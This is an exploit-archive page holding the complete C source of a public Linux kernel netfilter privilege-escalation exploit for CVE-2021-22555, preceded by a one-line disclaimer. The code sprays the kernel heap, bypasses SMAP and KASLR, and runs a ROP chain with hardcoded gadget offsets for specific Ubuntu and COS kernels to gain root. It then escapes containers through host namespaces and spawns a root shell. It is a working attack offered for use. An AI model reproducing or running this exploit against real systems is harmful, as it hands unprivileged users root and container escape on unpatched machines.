Linux kernel 2.6.19 < 5.9 netfilter local privilege escalation Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-07-15 | Type : local | Platform : linux
This exploit / vulnerability Linux kernel 2.6.19 < 5.9 netfilter local privilege escalation is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
* CVE-2021-22555: Turning \x00\x00 into 10000$
* by Andy Nguyen (theflow@)
*
* theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
* theflow@theflow:~$ ./exploit
* [+] Linux Privilege Escalation by theflow@ - 2021
*
* [+] STAGE 0: Initialization
* [*] Setting up namespace sandbox...
* [*] Initializing sockets and message queues...
*
* [+] STAGE 1: Memory corruption
* [*] Spraying primary messages...
* [*] Spraying secondary messages...
* [*] Creating holes in primary messages...
* [*] Triggering out-of-bounds write...
* [*] Searching for corrupted primary message...
* [+] fake_idx: ffc
* [+] real_idx: fc4
*
* [+] STAGE 2: SMAP bypass
* [*] Freeing real secondary message...
* [*] Spraying fake secondary messages...
* [*] Leaking adjacent secondary message...
* [+] kheap_addr: ffff91a49cb7f000
* [*] Freeing fake secondary messages...
* [*] Spraying fake secondary messages...
* [*] Leaking primary message...
* [+] kheap_addr: ffff91a49c7a0000
*
* [+] STAGE 3: KASLR bypass
* [*] Freeing fake secondary messages...
* [*] Spraying fake secondary messages...
* [*] Freeing sk_buff data buffer...
* [*] Spraying pipe_buffer objects...
* [*] Leaking and freeing pipe_buffer object...
* [+] anon_pipe_buf_ops: ffffffffa1e78380
* [+] kbase_addr: ffffffffa0e00000
*
* [+] STAGE 4: Kernel code execution
* [*] Spraying fake pipe_buffer objects...
* [*] Releasing pipe_buffer objects...
* [*] Checking for root...
* [+] Root privileges gained.
*
* [+] STAGE 5: Post-exploitation
* [*] Escaping container...
* [*] Cleaning up...
* [*] Popping root shell...
* root@theflow:/# id
* uid=0(root) gid=0(root) groups=0(root)
* root@theflow:/#
*
* Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.
*/

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on

#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg {
uint64_t next;
};

struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};

struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};

struct {
long mtype;
char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
long mtype;
char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
long mtype;
char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) <
0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, size) < 0) {
perror("[-] read");
return -1;
}
}
}
return 0;
}

int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace;
struct ipt_entry entry;
struct xt_entry_match match;
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target;
} data = {0};

data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));

data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));

data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;

data.target.u.user.target_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;

// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}

return 0;
}

// Note: Must not touch offset 0x10-0x18.
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;
#ifdef KERNEL_COS_5_4_89
*(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;

rop = (uint64_t *)&buf[0x18];

// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = scratchpad_addr; // R14
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R14
*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1; // RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1; // RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0x25; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#elif KERNEL_UBUNTU_5_8_0_48
*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

rop = (uint64_t *)&buf[0xD8];

// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#endif
}

int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}

cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
return -1;
}

return 0;
}

int main(int argc, char *argv[]) {
int s;
int fd;
int ss[NUM_SOCKETS][2];
int pipefd[NUM_PIPEFDS][2];
int msqid[NUM_MSQIDS];

char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];

struct msg_msg *msg;
struct pipe_buf_operations *ops;
struct pipe_buffer *buf;

uint64_t pipe_buffer_ops = 0;
uint64_t kheap_addr = 0, kbase_addr = 0;

int fake_idx = -1, real_idx = -1;

printf("[+] Linux Privilege Escalation by theflow@ - 2021\n");

printf("\n");
printf("[+] STAGE 0: Initialization\n");

printf("[*] Setting up namespace sandbox...\n");
if (setup_sandbox() < 0)
goto err_no_rmid;

printf("[*] Initializing sockets and message queues...\n");

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("[-] socket");
goto err_no_rmid;
}

for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror("[-] socketpair");
goto err_no_rmid;
}
}

for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}

printf("\n");
printf("[+] STAGE 1: Memory corruption\n");

printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}

printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}

printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;

printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}

if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}

// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);

printf("\n");
printf("[+] STAGE 2: SMAP bypass\n");

printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;

// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}

// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}

printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;

// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}

// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;

// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);

if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}

printf("\n");
printf("[+] STAGE 3: KASLR bypass\n");

printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));

// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;

printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}

printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}

kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel base address is incorrect.\n");
goto err_rmid;
}

printf("\n");
printf("[+] STAGE 4: Kernel code execution\n");

printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
// RAX points to &buf->ops.
// RCX points to &buf.
ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

// Trigger pipe_release().
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}

printf("[*] Checking for root...\n");
if ((fd = open("/etc/shadow", O_RDONLY)) < 0) {
printf("[-] Error could not gain root privileges.\n");
goto err_rmid;
}
close(fd);
printf("[+] Root privileges gained.\n");

printf("\n");
printf("[+] STAGE 5: Post-exploitation\n");

printf("[*] Escaping container...\n");
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);

printf("[*] Cleaning up...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
// TODO: Fix next pointer.
if (i == fake_idx)
continue;
if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror("[-] msgctl");
}
for (int i = 0; i < NUM_SOCKETS; i++) {
if (close(ss[i][0]) < 0)
perror("[-] close");
if (close(ss[i][1]) < 0)
perror("[-] close");
}
if (close(s) < 0)
perror("[-] close");

printf("[*] Popping root shell...\n");
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);

return 0;

err_rmid:
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i == fake_idx)
continue;
if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror("[-] msgctl");
}

err_no_rmid:
return 1;
}